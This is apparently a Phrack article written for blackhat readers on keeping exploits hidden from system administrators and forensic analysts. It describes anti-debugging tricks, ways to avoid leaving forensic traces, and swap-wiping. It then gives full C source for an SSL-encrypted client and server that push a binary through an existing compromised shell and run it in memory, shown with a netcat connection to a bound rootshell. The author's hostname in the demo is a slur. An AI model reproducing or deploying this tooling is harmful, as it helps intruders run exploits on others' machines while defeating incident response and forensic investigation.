                            ==Phrack Inc.==

              Volume 0x0b, Issue 0x3f, Phile #0x08 of 0x0f

|=------------------------[ Keeping 0day Safe ]-------------------------=|
|=----------------------------------------------------------------------=|
|=-----------------------------[ m1lt0n ]-------------------------------=|



1. Introduction

2. Protected Execution Overview

3. Pre-emptive Strikes Against Binary Analysis
	3.1 Resident Memory Inspection
	3.2 File Inspection
	3.3 Leaving No Traces

4. What We Will Try To Do

5. The Source Code
	5.1 Explanation
	5.2 Shared Code
	5.3 The Server
	5.4 The Client

6. Conclusions




--[ 1. Introduction

The debian.org debacle showed the world that even an idiot, using tools
such as burneye, isn't safe from leaking 0day to a group of stupid whitehat
forensic analysts.

A good hacker most likely will never encounter the problems faced by the
person (or should I say the xxth person) who compromised debian.org, but
it is probably in the best interests of the blackhat/hacker community to
share some tips on keeping 0day safe and out of enemy (*Lance*) hands.

What I am attempting to describe, minus the clever Shakespearean quotes,
is a few general guidelines and a model for keeping 0day safe in a hostile
environment. Let's start by describing what we need to have in our model,
and then by implementing it in some general code.

This is not a new or groundbreaking article, and it's not really as much
about inventing something new as it is tying some common sense together.
My only hope is that this article doesn't bring forth a patent infringement
lawsuit from Core SDI, who have apparently invented everything at least 5
years before it came to the rest of the hacking world.




--[ 2. Protected Execution Overview

The traditional cat+mouse game here, I'm sure somebody can eventually
construct a mathematical proof of why the system administrator always has
the upper hand. Of course, you will be at a disadvantage here, since you
will be operating from userland, and generally a non-root user account,
attempting to elevate your privileges, or obtain extra capabilities, as
the case may be. At the end of the day, you are doomed, because any
machine instructions which are executed by your process will inevitably
be prone to being peeked at by a superuser process.

For reading currently executing instructions, there are two basic and
interrelated strategies:

A. The administrator can ptrace() the running process, and by using a
parameter such as PTRACE_SINGLESTEP, peek at the USER area context of the
process and retrieve any register contents, such as EIP/PC, as well as
referenced memory.

B. Machines typically have some methodology for single stepping. On the
IA32 for example, this involves setting a particular bit in EFLAGS.
EFLAGS is pushed onto the stack with PUSHF, modified, and then restored
from the stack with POPF. This method is the ancestor of method A, as
ptrace single stepping is performed like this.

We can add two methods, one less effective and one more obscure.

C. Attach to the process with ptrace(), and specify PTRACE_SYSCALL. Of
course, the snooper won't retrieve the internal workings of the monitored
exploit, such as certain address and buffer calculations which are
performed on system specific parameters, making exploits reliable,
portable, and universal. But they'll still give the person monitoring the
execution a pretty idea of what's going on. Just take the recent do_brk()
vulnerability, for example. All one needs to see, is an munmap() syscall,
followed by several hundred brk() calls that extend the process data 
segment beyond userland, to know something's up, and exactly where to find
the offending code for that something. As a side strategy, instead of
using ptrace(), somebody could of course install a kernel-side filter,
that sits either under the int 0x80 (or OS-appropriate) interrupt or trap
handler for system calls, or as a wrapper for each of the individual
system calls in the sys_call_table, that records the process id and
parameters. Variations in methodology may change in the future, as
alternate system call stubs are introduced for new instructions, such as
the faster Intel "sysenter" context-switch instruction.

D. Debug registers can also be used to provide an analysis of polymorphic
encryption engines. For example, on Intel, these debug registers are noted
as %dr0-%dr3. Using the debug control register, it is possible to monitor
certain virtual memory segments for instruction execution or write
operations. Similar functionality is provided on other operating systems.
With Solaris, it is possible to set a watchpoint using procfs. By passing
a control messagewith a type of PCWATCH, a watched area of specified size
and flags can be created. Why is this useful? Well, let's pretend that the
executable consists of an XOR encrypted bytestream which is decrypted
on-the-fly as each new instruction is executed. A watch area can be set up
to monitor the .text segment of the executable. Normally, this watch point
area should never incur a trap, as the segment will be +rx by default. If
the target mprotects itself writeable, and then starts generating watch
traps, we know something's up. Since the program can't execute encrypted
instructions, it will most likely perform self-modification right before
an instruction fetch+execute, allowing the overseer to check %PC each time
a watch trap occurs. This method has the advantage of working independently
of single stepping cat+mouse headaches.


Example: Cat&Mouse Games with Method A

MOUSE vs. A: Simple but great old trick, originally brought to us by Silvio.
PTRACE_ATTACH to yourself, or to your child, if you are babysitting
execution. This should stop anybody else from attaching to you until you
detach. This will work in 99% of all scenarios.

	CAT vs. MOUSE vs. A:
	1. Create an LKM to intercept sys_ptrace(). Cause all attempts by
           (current_task->pid) to attach to pid (current_task->pid) to
           simply return an error code.

	2. fork() off a child, call ptrace with a parameter of
           PTRACE_TRACEME, so that when you execute your target binary, a
           trace trap will be generated on execve(). You're now attached
           to the binary before it's managed to hit its own entry point
           and attach to itself. Use PTRACE_SYSCALL to intercept the
           return of the ptrace attach, and change %eax or whatever
           register to 0. It now seems to the traced process that it
           managed to attach to itself, when in fact nothing happened.

                MOUSE vs. CAT vs. MOUSE vs. A:
                The game still carries on after this, of course, but this
                is the last step where things remain practical. The goal
                is to verify that the ptrace attach really succeeded. We
                can, of course, do this by testing other ptrace()
                functionality, like peeking and poking, that should only
                work if the attach was successful.
		



--[ 3. Pre-emptive Strikes Against Binary Analysis


----[ 3.1 Resident Memory Inspection


These were the techniques that were mostly discussed above.

1. Disrupting the ability of the admin to attach to the process with
   ptrace().

2. Using tools such as mutators, encoders, scramblers, and polymorphic
   engines to make the execution flow less human-readable. For example,
   tools such as objof (http://www.team-teso.net/projects/objobf/) can
   be used to make disassembly a real headache.

3. Old techniques such as jumping into the middle of variable length
   instructions static binary analysis annoying.

4. Exploiting flaws and short comings in system tracing tools. Creating
   a storm of SIGTRAPs can often cause the debugger or tracer to fault
   or shut down. This can be done using the old concept of a 'running
   line.' Of course a running line won't work the same way in a
   modern protected operating system as it would in a legacy system,
   since the trace trap interrupt handlers will be guarded in kernel
   land. But by using some of the hidden functionality of signal
   handling it is equally possible to implement this in user land, as
   it is possible to retrieve a USER area representation in special
   signal handlers set up by sigaction() as opposed to signal(). And
   let me add that apart from the conceptual difficulties that a
   running line poses to would-be analysts, it also causes a vast
   majority of debugging utilities to abort their execution
   immediately.

5. Re-encrypting the text segment to obscure previously executed
   instructions (this is more or less the same as #4).


----[ 3.2 File Inspection

This is to stop snoopers from using the /proc filesystem to snatch the
on-disk binary file corresponding to a running executable.

1. Create a local system DOS by using up open file descriptor tables.
   Note: This most likely is NOT gonna work, depending on what system
   you're on.

2. If you already have root (unlikely), and are attempting to do something
   even more special, you can utilize mandatory file locking. This is
   similar to advisory locks, and is usually performed by some sort of
   inode operation, like making the file SGID but g-x on Linux, and then
   using the typical flock()/lockf() functions. But, some platforms may
   require you to mount the target filesystem with a special flag.

3. What we rely on here: some sort of user land exec tool. Not only does
   this mean that there is no system call used to launch the target
   executable (SYS_exec* provides an entry point for admins to copy and
   save executables which have been launched outside of standard binary
   directories such as /bin, /usr/bin, /usr/local/bin, /sbin, etc) but,
   as discussed in p62, Honeynet-like ventures which aim to log and store
   away suspicious files passed to unlink() will be left in the dark,
   because nothing will ever be written to disk as a regular file. The
   strategy can vary; either the userland utility can perform the dynamic
   linking and relocations, or it can map in the dynamic linker (ld.so)
   to perform the task for it.


----[ 3.3 Leaving No Traces

In almost all cases, this refers to preventing the running process from
leaving any sort of forensic data in swap files.

1. Keep the executable size small.

2. If you are root, you can utilize mlock() or mlockall() to ensure that
   sensitive code pages of your exploit are locked into memory.

3. Overwrite/secure wipe sensitive data pages in your process with
   random memory. To ensure that pages are re-written in the disk cache,
   allocate hundreds of megabytes of memory and perform some I/O
   operations on them. As you allocate more and more memory, old pages
   that were referenced long ago will be swapped to disk (exploiting the
   simple concept of cache locality), updating the sensitive data in the
   swap file or swap partition with your garbage. Unfortunately, this
   technique is often impractical because local exploits usually execute
   some other program, such as a local SUID - thus minimizing their
   chances of wiping themselves clean before the exploit has completed
   and replaced itself with the address space of a new executable.

3. Run the exploit from some sort of special filesystem, such as a
   ramdisk (Hint: this is much more practical than it seems).




--[ 4. What We Will Try to Do

1. Surviving the Network Transmission
	a. The exploit must be transferred in a safe manner. There is no
           sense in going to great lengths to outsmart the reverse
           engineers if in the end, HD Moore reconstructs your exploit
           file from gigabytes of archived tcpdump logs.
	b. The vector of transmission may vary. For example, an exploit
           may cause a shell to be bound over an existing channel, using
           some sort of findsockfd shellcode. All the ports on the remote
           host may be closed except for one. Or the shellcode may provide
           a reverse shell. Whatever, the case may be, our method should
           not provide its own transmission channel. It should instead be
           compatible with any existing channel.
	c. Use extra paranoia - still encrypt the executable itself.
	d. It is not important that the stub code responsible for
           launching and decrypting the exploit also be encrypted.

2. Running the Executable on the Host
	a. Only our host stub will be saved to disk. Even though it is
           "safe" for the stub to be recovered, this is not preferable,
           as it provides a window of insight into what sort of
           activities were performed on the box. In other words, it's
           not the end of the world if the admin discovers that he was
           being exploited, but it's still best if a forensic analysis
           ultimately produces nothing.
	b. The binary executable will never be stored on the disk. It
           should also be protected, if possible, from being written to
           a swap partition or a swap file with the same techniques used
           to harden the stub. 

3. Implementation Details

	a. Stub Layout: The stub should be fully self-contained. It should
           not reference any files or libraries on the target machine.
           Thus, it needs to be compiled statically, and not dynamically
           linked.
	b. Stub Transfer: Not important. Just make sure that only one copy
           is made on disk.
	c. Exploit transfer: A hybrid cryptosystem will be used; a public
           key will be generated to encrypt a symmetric session key. This
           session will be used to transfer the exploit over. The exploit
           will be stored in space dynamically allocated by the stub.
	d. Exploit loading: The exploit should be executed directly in
           memory, and following its termination, be cleaned.


Big help came from grugq, who released his tool userland exec, while I was
a little more than half way through writing one of my own. It's kinda
cheesy that you have to have compile with diet libc, but I won't complain
since it saved me a good amount of time.




--[ 5. The Source Code


----[ 5.1 Explanation

I really couldn't give a shit about implementing all the anti-debugging
stuff I talked about because it's almost useless to me. What are the
realistic chances of an admin attaching to your code just as it happens
to be executing, anyway? So just consider it a bunch of literary fluff
with no POC code attached. The program provided below is meant to
interface with grugq's ul_exec. It is entirely self-contained, and uses
-lssl to provide the encrypted transfer support. This could have been
written a number of ways, from TCL to some even more elegant PTY-based
approach.

Here is an example of how the tool is used.

fagburner# ./compile
Generating RSA private key, 1024 bit long modulus
..++++++
...............................++++++
e is 65537 (0x10001)
Using configuration from /etc/openssl/openssl.cnf
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:State or Province Name (full name) [Some-State]:Locality Name (eg, city) []:Organization Name (eg, company) [Internet Widgits Pty Ltd]:Organizational Unit Name (eg, section) []:Common Name (eg, YOUR name) [fagburner#

Now the program has been compiled, and the necessary SSL certificate and
private key, created.
For the sake of this example, pretend we have bound a rootshell to port
31337 on 192.168.0.1, so1o-echo-to-the-inetd.conf-style. 

fagburner# ./ftrans /bin/bash -i
[+] spawning program: /bin/bash
bash-2.04#

We use the client transfer program to spawn a shell. This shell could be
used to launch the exploit that we hack with, or it could be used to
simply connect to the rootshell as we are doing now.

bash-2.04# nc -v 192.168.0.1 31337
nc -v 192.168.0.1 31337
aziza [192.168.0.1] 31337 (?) open
sh: can't access tty; job control turned off
#

Now we upload the certificate, keyfile, and server program. Hit CTRL+C:
# ^C[+] received break.
Options: "deliver" - pass SIGINT to child process.
         "quit"    - kill both processes
         <filename>   - transfer <filename> encrypted and run it in memory.
         "put" <localfile> <remotefile> - use the shell
                to create a binary (unsafe mode)
put server.tar.gz /tmp/s
[+] file created.
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # #	 ls -la /tmp/s
-rw-r--r--  1 root  wheel  3803 Jan 14 18:19 /tmp/s
# cd /tmp
# mkdir tmp; mv s tmp/s.tar.gz; cd tmp; tar zxvf s.tar.gz
compile
fserv.c
transfer.c
transfer.h
transfer.o
# ./compile
gcc: ftrans.c: No such file or directory
Generating RSA private key, 1024 bit long modulus
..........................++++++
...................................++++++
e is 65537 (0x10001)
Using configuration from /etc/openssl/openssl.cnf
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:State or Province Name (full name) [Some-State]:Locality Name (eg, city) []:Organization Name (eg, company) [Internet Widgits Pty Ltd]:Organizational Unit Name (eg, section) []:Common Name (eg, YOUR name) []:Email Address []:#

Now the program is installed on the remote end.
Now that this has been done, you can launch the server and upload your
file securely via SSL through the present connection.

# ./fserv -h
^C[+] received break.
Options: "deliver" - pass SIGINT to child process.
         "quit"    - kill both processes
         <filename>   - transfer <filename> encrypted and run it in memory.
         "put" <localfile> <remotefile> - use the shell
                to create a binary (unsafe mode)
/etc/motd
[+] SSL initialization completed.
[+] completed SSL connection.
[+] file transfer succeeded.
[+] received encrypted file in memory.
its [NetBSD 1.6.1 (GENERIC) #0: Tue Apr 8 12:05:52 UTC 2003

Welcome to NetBSD!

]
#

The program is in debug mode, so the contents of the buffer are displayed
back to us, rather than executed. But this still shows that data can be
transferred securely through any existing insecure connection.

Caveats:

1. ftrans, the file client, does not support any sort of nice PTY mode.
As I said, I'm writing this in a rush (t minus 30 minutes to release),
and don't have time. But I'm sure somebody can like rip it out of the 
suckit client easily.

2. SSL memory leaks: SSL sessions aren't properly destroyed because it
seemed that doing so might cause some garbage to be spit out that would
fuck up the terminal, and maybe even log you out of the shell. Instead,
existing SSL sessions remain open, and new ones are created each time a
new file is transferred over securely.

This program would probably be more elegant if it just used RSA encryption
routines directly, instead of the openssl frontend, but the openssl API
was something I was a bit familiar with, as opposed to the other.


----[ 5.2 Shared Code

|=----------------------------------------------------------------------=|
To compile: use the following script

#!/bin/sh
gcc -Wall -c transfer.c
gcc -Wall -o ftrans ftrans.c transfer.o -lssl -lcrypto
gcc -Wall -o fserv fserv.c transfer.o -lssl -lcrypto
openssl genrsa -out ourkey.key 1024
perl -e 'print "\n"x20' | openssl req -new -x509 -days 2 -key ourkey.key -out ourkey.cert
|=----------------------------------------------------------------------=|

|=---------------------------transfer.h---------------------------------=|
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <openssl/ssl.h>
#include <openssl/err.h>

#define MAGIC           "xxxMAGICxxx\n"

SSL *initialize_ssl_support(int infd,int outfd,int iscli);
void destroy_ssl_session(SSL *session);
int client_transfer_file(SSL *session,int filefd);
void *server_receive_file(SSL *session,size_t *size);
void send_magic(int fd);
void get_magic(int fd);
|=----------------------------------------------------------------------=|

|=---------------------------transfer.c---------------------------------=|
#include "transfer.h"


SSL *initialize_ssl_support(int infd, int outfd,int iscli)
{
        SSL_CTX *ctx;
        SSL_METHOD *meth;
        SSL *session;

        SSL_library_init();
        OpenSSL_add_all_algorithms();
        SSL_load_error_strings();

        if (iscli)
                meth = TLSv1_client_method();
        else
                meth = TLSv1_server_method();

        ctx = SSL_CTX_new(meth);

        if (ctx==NULL)  {
                ERR_print_errors_fp(stdout);
                exit(EXIT_FAILURE);

        if (!iscli)     {

                if (SSL_CTX_use_certificate_file(ctx,"ourkey.cert",SSL_FILETYPE_PEM)<=0)        {
                        ERR_print_errors_fp(stderr);
                        exit(EXIT_FAILURE);
                }

                if (SSL_CTX_use_PrivateKey_file(ctx,"ourkey.key",SSL_FILETYPE_PEM)<=0)  {
                        ERR_print_errors_fp(stderr);
                        exit(EXIT_FAILURE);
                }

                if (!SSL_CTX_check_private_key(ctx))    {
                        fprintf(stderr,"Private key doesnt match the cert pubkey\n");
                        exit(EXIT_FAILURE);
                }
        }

        if ((session = SSL_new(ctx)) == NULL)   {
                ERR_print_errors_fp(stdout);
                exit(EXIT_FAILURE);
        }

        if (!SSL_set_rfd(session,infd)) {
                ERR_print_errors_fp(stdout);
                exit(EXIT_FAILURE);
        }

        if (!SSL_set_wfd(session,outfd))        {
                ERR_print_errors_fp(stdout);
                exit(EXIT_FAILURE);
        }

        if (iscli)
                fprintf(stderr,"[+] SSL initialization completed.\n");

        return session;
}


void destroy_ssl_session(SSL *session)
{
        SSL_shutdown(session);
        SSL_free(session);
        fprintf(stderr,"[+] SSL session destroyed.\n");
        return;
}


int client_transfer_file(SSL *session,int filefd)
{
        struct stat statbuf;
        uint32_t fsize;
        int n=0;

        if (fstat(filefd,&statbuf)<0)   {
                perror("fstat");
                return 0;
        }

        fsize = htonl(statbuf.st_size);

        if (SSL_connect(session)<0)     {
                ERR_print_errors_fp(stdout);
                exit(EXIT_FAILURE);
        }

        fprintf(stderr,"[+] completed SSL connection.\n");

        if (SSL_write(session,&fsize,sizeof(fsize)) != sizeof(fsize))   {
                fprintf(stderr,"Error transmitting file size with SSL_write()\n");
                ERR_print_errors_fp(stdout);
                return 0;
        }

        while(n<statbuf.st_size)        {
                char inbuf[512];
                int nin;

                nin=read(filefd,inbuf,sizeof(inbuf));

                if (nin<0)      {
                        perror("read");
                        return 0;
                }

                n+=nin;
                SSL_write(session,inbuf,nin);
        }

        return 1;
}


void *server_receive_file(SSL *session,size_t *size)
{
        char *buf;
        uint32_t flen;
        int nin=0,sread;

        if (SSL_accept(session)<0)      {
                ERR_print_errors_fp(stdout);
                exit(EXIT_FAILURE);
        }

        if ((sread=SSL_read(session,&flen,sizeof(flen))) != sizeof(flen))       {
                fprintf(stderr,"Error reading file length! (returned %d)\n",sread);
                ERR_print_errors_fp(stdout);
                destroy_ssl_session(session);
                exit(EXIT_FAILURE);
        }

        flen = ntohl(flen);
        *size = flen;

        buf = mmap (NULL,flen,(PROT_READ|PROT_WRITE|PROT_EXEC),
                    (MAP_PRIVATE|MAP_ANON),-1,0);


        if (buf == (void *)-1)  {
                perror("malloc");
                destroy_ssl_session(session);
                exit(EXIT_FAILURE);
        }

        memset(buf,0,sizeof(buf));

        while (nin<flen)        {
                int toread,didread;
                char *bufptr;

                bufptr=buf+nin;
                toread=flen-nin;

                if(toread>512)
                        toread=512;

                didread=SSL_read(session,bufptr,toread);

                if (didread<=0) {
                        fprintf(stderr,"Unexpected EOF reached in SSL_read()!\n");
                        exit(EXIT_FAILURE);
                }

                nin+=didread;
        }

        return buf;
}


/* our really pathetic attempts at synchronization methods */

void send_magic(int fd)
{

        if (write(fd,MAGIC,strlen(MAGIC))!=strlen(MAGIC))       {
                perror("write");
                exit(EXIT_FAILURE);
        }

        return;
}


void get_magic(int fd)
{
        char inbuf[128];

        while(1)        {
                memset(inbuf,0,sizeof(inbuf));

                if (read(fd,inbuf,sizeof(inbuf))<0)     {
                        perror("read");
                        exit(EXIT_FAILURE);
                }

                if (strstr(inbuf,MAGIC))
                        break;

        }

        return;
}
|=----------------------------------------------------------------------=|


----[ 5.3 The Server


|=-----------------------------fserv.c----------------------------------=|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
#include "transfer.h"


int get_answer(void);


int get_answer(void)
{

        while(1)        {
                char buf[32];

                printf("[+] execute again? ");
                fflush(stdout);
                memset(buf,0,sizeof(buf));

                if (fgets(buf,sizeof(buf),stdin)==NULL) {
                        perror("fgets");
                        exit(EXIT_FAILURE);
                }

                buf[strlen(buf)-1]=0;

                if ((!strcasecmp(buf,"y")) || (!strcasecmp(buf,"yes")))
                        return 1;

                if ((!strcasecmp(buf,"n")) || (!strcasecmp(buf,"no")))
                        return 0;
        }

        return 0;
}


int main(int argc,char *argv[])
{
        SSL *session;
        size_t s;
        char *execbuf;

        /* receive the synchronization request */
        get_magic(STDIN_FILENO);
        session = initialize_ssl_support(STDIN_FILENO,STDOUT_FILENO,0);
        execbuf = server_receive_file(session,&s);
//      destroy_ssl_session(session);
        fprintf(stderr,"[+] received encrypted file in memory.\n");
//#define DEBUG 1
#ifdef DODEBUG
        printf ("its [%s]\n", execbuf);
        return 0;
#else
        while (1)       {
                pid_t pid;

                switch(pid=fork())      {
                        case -1:
                                perror("fork");
                                exit(EXIT_FAILURE);
                        case 0:
                                ul_exec(execbuf,argc,argv);
                                exit(EXIT_FAILURE);
                        default:

                                if (waitpid(pid,NULL,NULL)<0)   {
                                        perror("waitpid");
                                        exit(EXIT_FAILURE);
                                }

                                printf("[+] executable (pid %d) returned.\n",pid);

                                if (get_answer())
                                        continue;

                                /* wipe out the buffer in memory */
                                memset(execbuf,0,s);
                                printf("[+] stub exiting.\n");
                                exit(EXIT_SUCCESS);
                        }

                }
#endif
        return 0;
}
|=----------------------------------------------------------------------=|


----[ 5.4 The Client

|=----------------------------ftrans.c----------------------------------=|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/select.h>
#include "transfer.h"


void usage(char *program);
void ctrlc(int signo);
void sigchild(int signo);
void spawn_child(int nstdin,int nstdout,char *argv[]);
void shell_create_file(int fd,char *remotefile);


int childpid = 0;
int stdin_fdpair[2],stdout_fdpair[2];


void usage(char *program)
{
        fprintf(stderr,"Usage: %s <cmd> [args]\n",program);
        exit(EXIT_FAILURE);
}


void ctrlc(int signo)
{
        SSL *session;
        char inbuffer[128];
        int filefd, tres;

        fprintf(stderr,"[+] received break.\n");
        fprintf(stderr,"Options: \"deliver\" - pass SIGINT to child process.\n");
        fprintf(stderr,"         \"quit\"    - kill both processes\n");
        fprintf(stderr,"         <filename>   - transfer <filename> encrypted and run it in memory.\n");
        fprintf(stderr,"         \"put\" <localfile> <remotefile> - use the shell\n"
                       "                to create a binary (unsafe mode)\n");
        memset(inbuffer,0,sizeof(inbuffer));

        if(fgets(inbuffer,sizeof(inbuffer),stdin)==NULL)        {
                perror("fgets");
                exit(EXIT_FAILURE);
        }

        inbuffer[strlen(inbuffer)-1]=0;

        if(!strcmp(inbuffer,"deliver")) {
                fprintf(stderr,"[+] sending signal to pid %d\n", childpid);

                if((kill(childpid,SIGINT))<0)   {
                        perror("kill");
                        exit(EXIT_FAILURE);
                }

                return;
        }

        if(!strcmp(inbuffer,"quit"))    {
                fprintf(stderr,"[+] exiting.\n");

                if((kill(childpid,SIGKILL))<0)  {
                        perror("kill");
                        exit(EXIT_FAILURE);
                }

                exit(EXIT_SUCCESS);
        }

        if (!strncmp(inbuffer,"put ",4))        {
                char *lptr,*rptr;
                int lfd;

                lptr = inbuffer;
                lptr+=4;

                while(isspace(*lptr))
                        lptr++;

                rptr=lptr;

                while(!isspace(*rptr))
                        rptr++;

                if(!*rptr)      {
                        fprintf(stderr,"Error interpreting command!\n");
                        return;
                }

                *rptr++=0;

                while(isspace(*rptr))
                        rptr++;

                if(!*rptr)      {
                        fprintf(stderr,"Error interpreting command!\n");
                        return;
                }

                if ((lfd = open(lptr,O_RDONLY))<0)      {
                        fprintf(stderr,"- unable to open file: %s\n",lptr);
                        fprintf(stderr,"[+] continuing...\n");
                        return;
                }

                shell_create_file(lfd,rptr);
                fprintf(stderr,"[+] file created.\n");
                return;
        }

        if ((filefd=open(inbuffer,O_RDONLY))<0) {
                fprintf(stderr,"- unable to open file: %s\n",inbuffer);
                fprintf(stderr,"[+] continuing...\n");
                return;
        }

        /* play with filefd */

        send_magic(stdin_fdpair[1]);
        session = initialize_ssl_support(stdout_fdpair[0],stdin_fdpair[1],1);
        tres = client_transfer_file(session,filefd);

        if (!tres)
                fprintf(stderr,"- file transfer failed!\n");
        else
                fprintf(stderr,"[+] file transfer succeeded.\n");

//        destroy_ssl_session(session);

        return;
}


void sigchild(int signo)
{

        if (waitpid(-1,NULL,0) < 0)     {
                perror("waitpid");
                exit(EXIT_FAILURE);
        }

        fprintf(stderr,"[+] child program exited.\n");
        exit(EXIT_SUCCESS);
}


void spawn_child(int nstdin,int nstdout,char *argv[])
{

        switch(childpid=fork()) {
                case -1:
                        perror("fork");
                        exit(EXIT_FAILURE);
                case 0:
                        break;
                default:
                        return;
        }

        if (setsid()<0) {
                perror("setsid");
                exit(EXIT_FAILURE);
        }

        if (close(STDIN_FILENO)<0)      {
                perror("close");
                exit(EXIT_FAILURE);
        }

        if (close(STDOUT_FILENO)<0)     {
                perror("close");
                exit(EXIT_FAILURE);
        }

        if(dup2(nstdin,STDIN_FILENO)<0) {
                perror("dup2");
                exit(EXIT_FAILURE);
        }

        if(dup2(nstdout,STDOUT_FILENO)<0)       {
                perror("dup2");
                exit(EXIT_FAILURE);
        }

        fprintf(stderr,"[+] spawning program: %s\n",argv[1]);
        execv(argv[1], &argv[1]);
        /* should never be reached */
        perror("execv");
        exit(EXIT_FAILURE);
}


void shell_create_file(int fd,char *remotefile)
{
        unsigned char inbuf[128];
        unsigned char cmdbuf[1024];
        int n=1;

        while (n)       {
                char hexbyte[6];
                int i;

                n = read(fd,inbuf,sizeof(inbuf));

                if (n<0)        {
                        perror("read");
                        exit(EXIT_FAILURE);
                }
                else if (!n)    break;

                memset(cmdbuf,0,sizeof(cmdbuf));
                strcpy(cmdbuf,"perl -e 'print \"");

                for (i=0;i<n;i++)       {
                        memset(hexbyte,0,sizeof(hexbyte));

                        sprintf(hexbyte,"\\x%.2x",inbuf[i]);
                        strcat(cmdbuf,hexbyte);
                }

                strcat(cmdbuf,"\"' >> ");
                strncat(cmdbuf,remotefile,(sizeof(cmdbuf)-strlen(cmdbuf)));
                strncat(cmdbuf,"\n",(sizeof(cmdbuf)-strlen(cmdbuf)));
                write(stdin_fdpair[1],cmdbuf,strlen(cmdbuf));
        }

        return;
}


int main(int argc,char *argv[])
{
        signal(SIGCHLD,sigchild);
        signal(SIGINT,ctrlc);

        if (argc < 2)
                usage(argv[0]);

        if(pipe(stdin_fdpair)<0)        {
                perror("pipe");
                exit(EXIT_FAILURE);
        }

        if (pipe(stdout_fdpair)<0)      {
                perror("pipe");
                exit(EXIT_FAILURE);
        }

        spawn_child(stdin_fdpair[0],stdout_fdpair[1],argv);

        /* I/O loop */
        while(1)        {
                fd_set fds;
                char buf[128];
                int nread,selres;

                FD_ZERO(&fds);
                FD_SET(STDIN_FILENO,&fds);
                FD_SET(stdout_fdpair[0],&fds);

                if ((selres=select((stdout_fdpair[0]+1),&fds,NULL,NULL,NULL))<0)        {

                        if (errno==EINTR)
                                continue;

                        perror("select");
                        exit(EXIT_FAILURE);
                }

                if (FD_ISSET(STDIN_FILENO,&fds))        {
                        memset(buf,0,sizeof(buf));
                        nread=read(STDIN_FILENO,buf,sizeof(buf));

                        if(nread<0)     {
                                perror("read");
                                exit(EXIT_FAILURE);
                        }

                        write(stdin_fdpair[1],buf,nread);
                }

                if (FD_ISSET(stdout_fdpair[0],&fds))    {
                        memset(buf,0,sizeof(buf));
                        nread=read(stdout_fdpair[0],buf,sizeof(buf));

                        if(nread<0)     {
                                perror("read");
                                exit(EXIT_FAILURE);
                        }

                        write(STDOUT_FILENO,buf,nread);
                }
        }

        return 0;
}
|=----------------------------------------------------------------------=|




--[ 6. Conclusion

In real life, where "experts" like Bruce Schneier just write books, and
other more important and intelligent people actually do the hacking,
security through obscurity is actually useful. Anybody who tells you
otherwise is a moron. Perhaps security through obscurity is not a good
idea when it comes to deploying large-scale solutions, like shared
encryption algorithms or components of wide-spread operating systems, but
when it comes to the tools and tricks of the individual hacker, it
certainly is.

You are 10x better off using a 56 bit encryption algorithm with no known
"John the Ripper" plugins than you are using a well known and well tested
standard such as 3DES or Blowfish. Why? The answer is simple. Because
only about 0.0001% of all "security professionals" actually know how to
develop code. And the inability to develop code also means that they
will be unable to provide real tools to cope with security problems that
they can "conceptually" solve. The debian.org incident illustrates this
well. The only reason the do_brk() exploit was unmasked was because a
public tool, UNFBURNINHELL, was available. I can not even hope to heap
enough curses upon byterage, the author of this tool (which is one of the
most damaging releases to the security community). This tool CAN NOT
possibly help ANYBODY in the hacking community. It not only allows
whitehats to uncover 0day, but even if it were intended for dark purposes
originally (like allowing hackers to spy on other hackers), the public
release of such a tool forces the encryption utility's author to upgrade
his tool in such a way that makes future snooping of insecurely
encrypted executables useless. Thanks, byterage... what a dumb idea!

There's not a whole lot of solutions available for encrypted executables
under UNIX (ELF encryption) like there is for Windows...... but I can
minimally recommend that hackers use "shiva", and not burneye.

I don't condone supporting the authors of shiva in any other way, as
they've obviously done their share to fuck up the underground hacking
community through selling out, but shiva's uncontestably better. I won't
explain why... just read the docs, etc, etc.

You can find the shiva code at: http://www.securereality.com.au/

P.S. There are some very simple techniques that can be used to accomplish
with less code and less worry some of the goals mentioned in this article.
But some things, even if they are really simple, are too good to give away
for free if they aren't widespread public knowledge. I've hinted at a way
to do these things in the article, so if you have a bit of clue and
determination you'll figure out how to do it on your own.

OK that's just about it.
Peace out,
m1lt0n




|=[ EOF ]=---------------------------------------------------------------=|
